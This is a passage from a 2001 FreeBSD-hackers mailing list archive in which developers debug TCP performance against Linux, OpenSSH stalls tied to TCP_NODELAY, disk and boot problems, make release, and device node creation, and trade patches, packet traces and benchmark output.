This completely breaks TCP if newreno is turned on > + */ > if (sendalot && (!tcp_do_newreno || --maxburst)) > + goto again; > +#endif > + if (sendalot) > goto again; > return (0); > } > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message OK, I have applied this patch, and FreeBSD 4.4-STABLE now seems to behave approximately the same as Linux. There are no extra ACKs, and FreeBSD now coalesces pairs of ACKs. However, performance for one client is still at 25Mb/s with the tbench run, while Linux provides around 68Mb/s. So, it is back to staring at traces. Perhaps I will get a full trace now. -- Richard Sharpe, rsharpe@ns.aus.com, LPIC-1 www.samba.org, www.ethereal.com, SAMS Teach Yourself Samba in 24 Hours, Special Edition, Using Samba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 4: 6:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id 0958837B416 for ; Sat, 1 Dec 2001 04:06:16 -0800 (PST) Received: (from sos@localhost) by freebsd.dk (8.11.6/8.11.6) id fB1C5r243828; Sat, 1 Dec 2001 13:05:53 +0100 (CET) (envelope-from sos) From: Søren Schmidt Message-Id: <200112011205.fB1C5r243828@freebsd.dk> Subject: Re: UDMA33 and SiS5591 on FreeBSD 4.4-RELEASE In-Reply-To: To: Zwane Mwaikambo Date: Sat, 1 Dec 2001 13:05:53 +0100 (CET) Cc: freebsd-hackers@freebsd.org Reply-To: sos@freebsd.dk X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It seems Zwane Mwaikambo wrote: > Hi, > I've got a box which boots up with UDMA33 but during the boot > sequence gets write problems and ends up disabling it and i presume > falling back to PIO4. I've tested the same box on Linux 2.4.2+ and have > had no problems running it at UDMA33. > > Host: SiS 5591 (revision?) > Disk: Seagate 3.2G ATA2 Ohhh, I need alot more info before I can tell whats going on.. I need at least the dmesg from a verbosely booted system and also a pciconf -l to tell what chips you have. -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 4:46:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id E028737B405 for ; Sat, 1 Dec 2001 04:46:38 -0800 (PST) Received: (from sos@localhost) by freebsd.dk (8.11.6/8.11.6) id fB1CkGq44064; Sat, 1 Dec 2001 13:46:16 +0100 (CET) (envelope-from sos) From: Søren Schmidt Message-Id: <200112011246.fB1CkGq44064@freebsd.dk> Subject: Re: UDMA33 and SiS5591 on FreeBSD 4.4-RELEASE In-Reply-To: To: Zwane Mwaikambo Date: Sat, 1 Dec 2001 13:46:15 +0100 (CET) Cc: freebsd-hackers@freebsd.org Reply-To: sos@freebsd.dk X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It seems Zwane Mwaikambo wrote: > On Sat, 1 Dec 2001, Søren Schmidt wrote: > > > Ohhh, I need alot more info before I can tell whats going on.. > > I need at least the dmesg from a verbosely booted system and > > also a pciconf -l to tell what chips you have. > > Ok i can get the pciconf but how do i set the bootverbose flag? You just boot with -v .. -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 5: 5:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id 4B82737B41A for ; Sat, 1 Dec 2001 05:05:22 -0800 (PST) Received: (qmail 55642 invoked by uid 1165); 1 Dec 2001 13:05:22 -0000 Date: 1 Dec 2001 05:05:22 -0800 Date: Sat, 1 Dec 2001 05:05:21 -0800 From: Seth Kingsley To: kerberus Cc: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: Make RELEASE broken? Message-ID: <20011201050521.H61534@fluff.meowfishies.com> References: <1007187755.2509.1.camel@ns2.microbsd.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="X+8siUETKMkW99st" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1007187755.2509.1.camel@ns2.microbsd.net>; from kerberus@microbsd.net on Sat, Dec 01, 2001 at 01:22:35AM -0500 X-Operating-System: FreeBSD 4.4-STABLE i386 X-GPG-Key-ID: 1024D/5C413B08 X-GPG-Key-Fingerprint: F772 5D24 02B4 D233 90F5 080F 0F50 3298 5C41 3B08 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --X+8siUETKMkW99st Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Dec 01, 2001 at 01:22:35AM -0500, kerberus wrote: > Okay ill ask again just in case nobody saw this! > is make release broken in 4.4-STABLE ?? Or is there a definitive > guide/FAQ on how to properly use make release to cut a modified > distribution ? cause either im doing something wrong, or its definatley > broken. Thanks in Advance What are you doing in the first place? You might try Murray Stokely's recent paper on release engineering given at BSDCon Europe: http://people.freebsd.org/~murray/#publications http://people.freebsd.org/~murray/#presentations It goes into some detail about what all of the steps performed are in a "make release", so maybe that will help you determine the cause of your problems... --=20 || Seth Kingsley || Meow Meow Fluff Fluff || sethk@meowfishies.com || || rndcontrol -s 0 || --X+8siUETKMkW99st Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8CNWRD1AymFxBOwgRAqR0AJ9bUCgiIZFZsDE/HKR8TTWbqQfj1QCZAXim uOBo42RcTPr24kwafnfRKyQ= =acP0 -----END PGP SIGNATURE----- --X+8siUETKMkW99st-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 5:27: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from freesbee.wheel.dk (freesbee.wheel.dk [193.162.159.97]) by hub.freebsd.org (Postfix) with ESMTP id 8720A37B417 for ; Sat, 1 Dec 2001 05:27:02 -0800 (PST) Received: by freesbee.wheel.dk (Postfix, from userid 1002) id E200C5DF2; Sat, 1 Dec 2001 14:27:00 +0100 (CET) Date: Sat, 1 Dec 2001 14:27:00 +0100 From: "Niels Chr. Bank-Pedersen" To: freebsd-hackers@freebsd.org Subject: Re: problems installing on scsi disks ? Message-ID: <20011201142700.B11859@bank-pedersen.dk> Mail-Followup-To: "Niels Chr. Bank-Pedersen" , freebsd-hackers@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from part_lion@hotmail.com on Sat, Dec 01, 2001 at 03:02:24AM -0700 X-PGP-Fingerprint: 18D0 73F3 767F 3A40 CEBA C595 4783 D7F5 5DD1 FB8C X-PGP-Public-Key: http://freesbee.wheel.dk/~ncbp/gpgkey.pub Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Dec 01, 2001 at 03:02:24AM -0700, Joesh Juphland wrote: > > Vanilla x86 system with two identical scsi disks attached to a single 2940. > Installation is flawless - in custom install, I choose da0 and then da1, one > after the other, to partition. Again, I say, installation goes flawlessly. > > When the system boots though, it cannot get past the boot manager. I wait > for it to time out and go to the default option, but it just beeps. Any > attempt to hit enter, or f1, or f5, yields another beep. It will not boot. > > So, over five successive reloads, I have tried bootloader on da0, nothing on > da1, bootloader on both, normal loader on da0, nothing on da1, and normal > loader on both. No matter what combo I try with these two, it will not boot > when I partition and label these two disks. > > It just gives me f1 and f5 choices, and hangs forever. (or, when I chose to > put the loader but NOT the boot manager on both disks, it just comes up > saying "missing operating system) This usually happens (in my experience, at least), when sysinstall and the kernel disagree about the disk geometry. Try checking the CHS values when the kernel detects the disk (is available in the scroll-back buffer in one of the vty's) and then change sysinstalls values accordingly. This is done in the fdisk menu with "G", iirc. > Also there are no silly scsi problems like ID conflict or bios not set to > boot scsi or whatever. It is set to boot scsi just fine, and we know the > disks, etc. are working since the installation goes without a hitch. > > Any ideas why I cannot do a simple install onto very plain hardware and > disks ? > > thanks, > > Joesh > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message /Niels Chr. NB, tried replying in pm, but sender address bounces :( -- Niels Christian Bank-Pedersen, NCB1-RIPE. "Hey, are any of you guys out there actually *using* RFC 2549?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 7:14:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by hub.freebsd.org (Postfix) with ESMTP id B3D5C37B405 for ; Sat, 1 Dec 2001 07:14:18 -0800 (PST) Received: from gandalf (h0050dac2456d.ne.mediaone.net [65.96.125.3]) by chmls20.mediaone.net (8.11.1/8.11.1) with SMTP id fB1FFTx14025 for ; Sat, 1 Dec 2001 10:15:29 -0500 (EST) Message-ID: <001001c17a7a$97349910$037d6041@gandalf> From: "Dragon Fire" To: Subject: PCI device file. /dev/xxxx Date: Sat, 1 Dec 2001 10:12:27 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Folks, A simple question. I have created a PCI device driver but I have a problem. The core code was developed using the current make_device_driver.sh then modified to fill in the details of the device. The problem is the make_dev call in attach is succeeding but not making the device node in /dev. If I make the device node manually everything works fine. Am I misundertstanding the purpose of make_dev or have I implmented something incorrectly. Thanks in advance, Regards, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 7:37:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.xs4all.nl (freebie.xs4all.nl [213.84.32.253]) by hub.freebsd.org (Postfix) with ESMTP id 17AFF37B416; Sat, 1 Dec 2001 07:37:48 -0800 (PST) Received: (from wkb@localhost) by freebie.xs4all.nl (8.11.6/8.11.6) id fB1FbFY25090; Sat, 1 Dec 2001 16:37:15 +0100 (CET) (envelope-from wkb) Date: Sat, 1 Dec 2001 16:37:15 +0100 From: Wilko Bulte To: Seth Kingsley Cc: kerberus , freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Make RELEASE broken? Message-ID: <20011201163715.A25067@freebie.xs4all.nl> References: <1007187755.2509.1.camel@ns2.microbsd.net> <20011201050521.H61534@fluff.meowfishies.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011201050521.H61534@fluff.meowfishies.com>; from sethk@meowfishies.com on Sat, Dec 01, 2001 at 05:05:21AM -0800 X-OS: FreeBSD 4.4-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Dec 01, 2001 at 05:05:21AM -0800, Seth Kingsley wrote: > On Sat, Dec 01, 2001 at 01:22:35AM -0500, kerberus wrote: > > Okay ill ask again just in case nobody saw this! > > is make release broken in 4.4-STABLE ?? Or is there a definitive > > guide/FAQ on how to properly use make release to cut a modified > > distribution ? cause either im doing something wrong, or its definatley > > broken. Thanks in Advance > > What are you doing in the first place? You might try Murray Stokely's > recent paper on release engineering given at BSDCon Europe: > > http://people.freebsd.org/~murray/#publications > http://people.freebsd.org/~murray/#presentations Yesterday I build a -stable release on my alpha. No incidents.. -- | / o / /_ _ email: wilko@FreeBSD.org |/|/ / / /( (_) Bulte Arnhem, The Netherlands To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 8:11: 3 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 1380C37B417 for ; Sat, 1 Dec 2001 08:11:00 -0800 (PST) Received: (qmail 71014 invoked by uid 100); 1 Dec 2001 16:10:59 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15369.275.309280.296949@guru.mired.org> Date: Sat, 1 Dec 2001 10:10:59 -0600 To: Eric Melville Cc: David Miller , freebsd-hackers@freebsd.org Subject: Re: [OT] alarm() question In-Reply-To: <20011130221859.B32476@FreeBSD.org> References: <20011130212910.A32476@FreeBSD.org> <20011130221859.B32476@FreeBSD.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Eric Melville types: > > The system call is being interrupted, it just gets restarted right away by > > default. See Steven's "UNIX Network Programming" for a means of avoiding > > this behavior. > Of course, I'm completely wrong because we're not even talking about a > system call here. Mike Mired already posted what you need. Uh, I'm not sure what to make of that mangling of my name. However, I think the pointer to Steven's book you provided may be the thing he needs. I certainly don't know what he needs based on his followup. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 8:33: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from h187n2fls4o804.telia.com (h187n2fls4o804.telia.com [213.65.247.187]) by hub.freebsd.org (Postfix) with SMTP id 1F6A137B416 for ; Sat, 1 Dec 2001 08:33:04 -0800 (PST) Received: (qmail 21106 invoked by uid 1003); 1 Dec 2001 16:32:40 -0000 Date: Sat, 1 Dec 2001 17:32:40 +0100 From: Tomas Svensson To: Matthew Dillon Cc: Josef Karthauser , freebsd-hackers@FreeBSD.ORG Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) Message-ID: <20011201173240.A20807@simba.systemteknik.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am not using compression and netstat -s confirms that it is really resending data. I examined it a bit more now and it seems OpenSSH 2.5 is sending a burst of small packets, each with 100 or 116 bytes 14:30:46.232151 server.22 > client.1525: P 30977:31077(100) ack 1144 win 24820 14:30:46.233358 server.22 > client.1525: P 31077:31177(100) ack 1144 win 24820 and another 50 small packets just like them rapidly after eachother. After this it will start to send bigger packets, 1076 or 1460 but its too late and its likely that the server will have to resend part of the small packets and connection will stall. This won't be a problem on a LAN but over the internet it can be. SSH Inc sshd doesn't have this problem as it always send 1460 bytes per packet when possible. I have not been able to reproduce this with OpenSSH 2.3.0 because it seems to send 276-300 bytes per packet. -Tomas MD> I haven't been able to reproduce this. Two things, though... (1) are MD> you using a compressed ssh connection or an uncompressed connection? MD> It makes a big difference in regards to how ssh generates packet data. MD> 'ls' contains a lot of repetitive data and compresses well. MD> (2) Also are you using an xterm or an aterm? aterm will skip terminal MD> data until the flow stops if it receives it quickly enough, not displaying MD> anything until it 'hicups' at the end. xterm will sync the display up MD> every so often when receiving a continuous stream. So if you are using MD> aterm it could appear as though the connection has stalled when, in fact, MD> it is actually running full bore and aterm is waiting for things to slow MD> down. MD> For example, when I run a program that spits out abcdefgh...zabcdefgh... MD> etc to the terminal, and run it on an aterm, it seems to stall every MD> so often. But if I run it on an xterm the output appears smooth. MD> -Matt :JK>> Is this the same problem that I experience on ssh connections between :JK>> my 5.0-current laptop and my releng_4 server? When I run an 'ls' :JK>> from the shell on large directories I get the response back block :JK>> delay block delay block. I assumed that it was a problem with :JK>> -current. MD> : MD> :I am quite sure that this is a problem introduced in OpenSSH v2.5 or MD> :earlier. When I upgraded a FreeBSD 4.2 box from OpenSSH v2.2.0 to a MD> :newer version (I don't remember exactly which one now) I noticed this MD> :stalling which had never appeared before. If I used SSH Inc ssh-2.4 MD> :there was no stalling. It's not FreeBSD-specific either: I am MD> :trying this now on a NetBSD 1.5.1 that has OpenSSH v2.5.2 and if I MD> :do ten ls -l as fast as I can, I get 14 retransmitted packets and MD> :stalling. If I try the same with SSH Inc ssh-3.0.0 I get no MD> :retransmitted packets. Strangely enough I get no stalling on either MD> :sshd if I cat a 3 megabyte text... MD> : MD> :-Tomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 11:50:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 8FAE237B416 for ; Sat, 1 Dec 2001 11:50:06 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id fB1Jo5927191; Sat, 1 Dec 2001 11:50:05 -0800 Date: Sat, 1 Dec 2001 11:50:05 -0800 From: Brooks Davis To: Dragon Fire Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: PCI device file. /dev/xxxx Message-ID: <20011201115004.A17375@Odin.AC.HMC.Edu> References: <001001c17a7a$97349910$037d6041@gandalf> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="tKW2IUtsqtDRztdT" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001001c17a7a$97349910$037d6041@gandalf>; from dragonfire820@mediaone.net on Sat, Dec 01, 2001 at 10:12:27AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --tKW2IUtsqtDRztdT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Dec 01, 2001 at 10:12:27AM -0500, Dragon Fire wrote: >=20 > I have created a PCI device driver but I have a problem. The core code was > developed using the current make_device_driver.sh then modified to fill in > the details of the device. >=20 > The problem is the make_dev call in attach is succeeding but not making t= he > device node in /dev. If I make the device node manually everything works > fine. Am I misundertstanding the purpose of make_dev or have I implmented > something incorrectly. I suspect you're misunderstanding. In 5.0-current make_dev will create a device node if you are running devfs (default), but on other releases, you must do it yourself. When adding a driver to the system you need to add appropriate entries to src/etc/MAKEDEV (installed as /dev/MAKEDEV) to allow creation of device nodes on non-devfs systems. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --tKW2IUtsqtDRztdT Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8CTRsXY6L6fI4GtQRAgKaAKDBce1QW1iW0ZsJDoJl8+qnHI08KwCg0Od+ TVYCdbRq7WsUyilX/08eNhU= =s9ip -----END PGP SIGNATURE----- --tKW2IUtsqtDRztdT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 12: 8:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 885) id A079837B417; Sat, 1 Dec 2001 12:08:42 -0800 (PST) Date: Sat, 1 Dec 2001 12:08:42 -0800 From: Eric Melville To: Mike Meyer Cc: David Miller , freebsd-hackers@freebsd.org Subject: Re: [OT] alarm() question Message-ID: <20011201120842.A41151@FreeBSD.org> References: <20011130212910.A32476@FreeBSD.org> <20011130221859.B32476@FreeBSD.org> <15369.275.309280.296949@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15369.275.309280.296949@guru.mired.org>; from mwm@mired.org on Sat, Dec 01, 2001 at 10:10:59AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Uh, I'm not sure what to make of that mangling of my name. However, I > think the pointer to Steven's book you provided may be the thing he > needs. I certainly don't know what he needs based on his followup. I'm really sorry for messing up your name like that. I suppose your domain name was sticking in my head for some reason. I don't think I got the response that you are talking about, but from what he has sent me I think that Stevens will provide the answer. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 12:13:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id AF5D737B416 for ; Sat, 1 Dec 2001 12:13:27 -0800 (PST) Received: from whizzo.transsys.com (#6@localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.11.6/8.11.6) with ESMTP id fB1KDJE91870; Sat, 1 Dec 2001 15:13:19 -0500 (EST) (envelope-from louie@whizzo.transsys.com) Message-Id: <200112012013.fB1KDJE91870@whizzo.transsys.com> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Tomas Svensson Cc: Matthew Dillon , Josef Karthauser , freebsd-hackers@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: SSH stalls (was: FreeBSD performing worse than Linux?) References: <20011201173240.A20807@simba.systemteknik.net> In-reply-to: Your message of "Sat, 01 Dec 2001 17:32:40 +0100." <20011201173240.A20807@simba.systemteknik.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 Dec 2001 15:13:19 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I am not using compression and netstat -s confirms that it is really > resending data. I examined it a bit more now and it seems OpenSSH 2.5 is > sending a burst of small packets, each with 100 or 116 bytes > > 14:30:46.232151 server.22 > client.1525: P 30977:31077(100) ack 1144 win 24820 > 14:30:46.233358 server.22 > client.1525: P 31077:31177(100) ack 1144 win 24820 > > and another 50 small packets just like them rapidly after eachother. > After this it will start to send bigger packets, 1076 or 1460 but its too > late and its likely that the server will have to resend part of the small > packets and connection will stall. This won't be a problem on a LAN but > over the internet it can be. SSH Inc sshd doesn't have this problem as it > always send 1460 bytes per packet when possible. I have not been able to > reproduce this with OpenSSH 2.3.0 because it seems to send 276-300 bytes > per packet. This might be because our OpenSSH disables Nagle's algorithm by turning on the TCP_NODELAY socket option. See packet.c:packet_set_interactive() for the code that does this. This certainly will cause a bunch of small TCP segments to be generated, back-to-back before an TCP ACK is received. It's also probably a bad idea to enable by default for every SSH interactive session. It looks like this gets turned on for X11 connection forwarding and for SSH sessions with a PTY at the server end. louie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 12:52:59 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 23B7337B41C for ; Sat, 1 Dec 2001 12:52:53 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB1Kqon35104; Sat, 1 Dec 2001 12:52:50 -0800 (PST) (envelope-from dillon) Date: Sat, 1 Dec 2001 12:52:50 -0800 (PST) From: Matthew Dillon Message-Id: <200112012052.fB1Kqon35104@apollo.backplane.com> To: Richard Sharpe Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <3C08CF9D.2030109@ns.aus.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG !@#%@#^%^$#^@#$%#@!$%!@%@#@# Whos the blasted bozo that broke TCP! :-) :-( I believe I have found another problem. It may not be related to this one but I sure hope it is. When the receiver's window contracts to zero causing the sender to stop transmitting, TCP stalls for 5 seconds. In otherwords, some bozo broke the window restart code.... when the receiver drains its buffer NO ACK IS SENT INDICATING THAT THE WINDOW HAS OPENED UP!!!! It's only luck that the TCP idle code picks it up and acks it after 5 seconds. Somebody broke something horrendously in the TCP stack. !$#%@#$^%#@^@#%!@#$@!#$@#$@#$ blast it! I'm going to fry the responsible party when I get this tracked down. -Matt test1# tail x 12:44:25.629324 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10417344 win 16060 (DF) 12:44:25.629344 216.240.41.11.1056 > 216.240.41.12.7003: P 10430484:10431944(1460) ack 47215 win 17520 (DF) 12:44:25.629374 216.240.41.11.1056 > 216.240.41.12.7003: . 10431944:10433404(1460) ack 47215 win 17520 (DF) 12:44:25.629566 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10420264 win 14600 (DF) 12:44:25.629587 216.240.41.11.1056 > 216.240.41.12.7003: P 10433404:10434864(1460) ack 47215 win 17520 (DF) 12:44:25.629810 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10423184 win 11680 (DF) 12:44:25.630056 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10426104 win 8760 (DF) 12:44:25.630302 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10429024 win 5840 (DF) 12:44:25.630548 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10431944 win 2920 (DF) 12:44:25.630794 216.240.41.12.7003 > 216.240.41.11.1056: . ack 10434864 win 0 (DF) (stall) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Dec 1 13:21:14 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7E92E37B419 for ; Sat, 1 Dec 2001 13:21:07 -0800 (PST) Received: (from dillon@localhost) by apollo.backplane.com (8.11.6/8.9.1) id fB1LL5w36881; Sat, 1 Dec 2001 13:21:05 -0800 (PST) (envelope-from dillon) Date: Sat, 1 Dec 2001 13:21:05 -0800 (PST) From: Matthew Dillon Message-Id: <200112012121.fB1LL5w36881@apollo.backplane.com> To: Richard Sharpe Cc: freebsd-hackers@FreeBSD.ORG Subject: Patch #2 (was Re: Found the problem, w/patch (was Re: FreeBSD performing worse than Linux?)) References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011128104629.A43642@walton.maths.tcd.ie> <5.1.0.14.1.20011130181236.00a80160@postamt1.charite.de> <200111302047.fAUKlT811090@apollo.backplane.com> <200111302130.fAULUU324648@apollo.backplane.com> <3C08CF9D.2030109@ns.aus.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Richard (and others), please try this patch. With this patch I get the following between two machines connected via a 100BaseTX switch (full duplex): ---------------- test1:/home/dillon/dbench> ./tbench 1 test2 .1 clients started ..............+* Throughput 6.13925 MB/sec (NB=7.67406 MB/sec 61.3925 MBit/sec) 1 procs test1:/home/dillon/dbench> ./tbench 2 test2 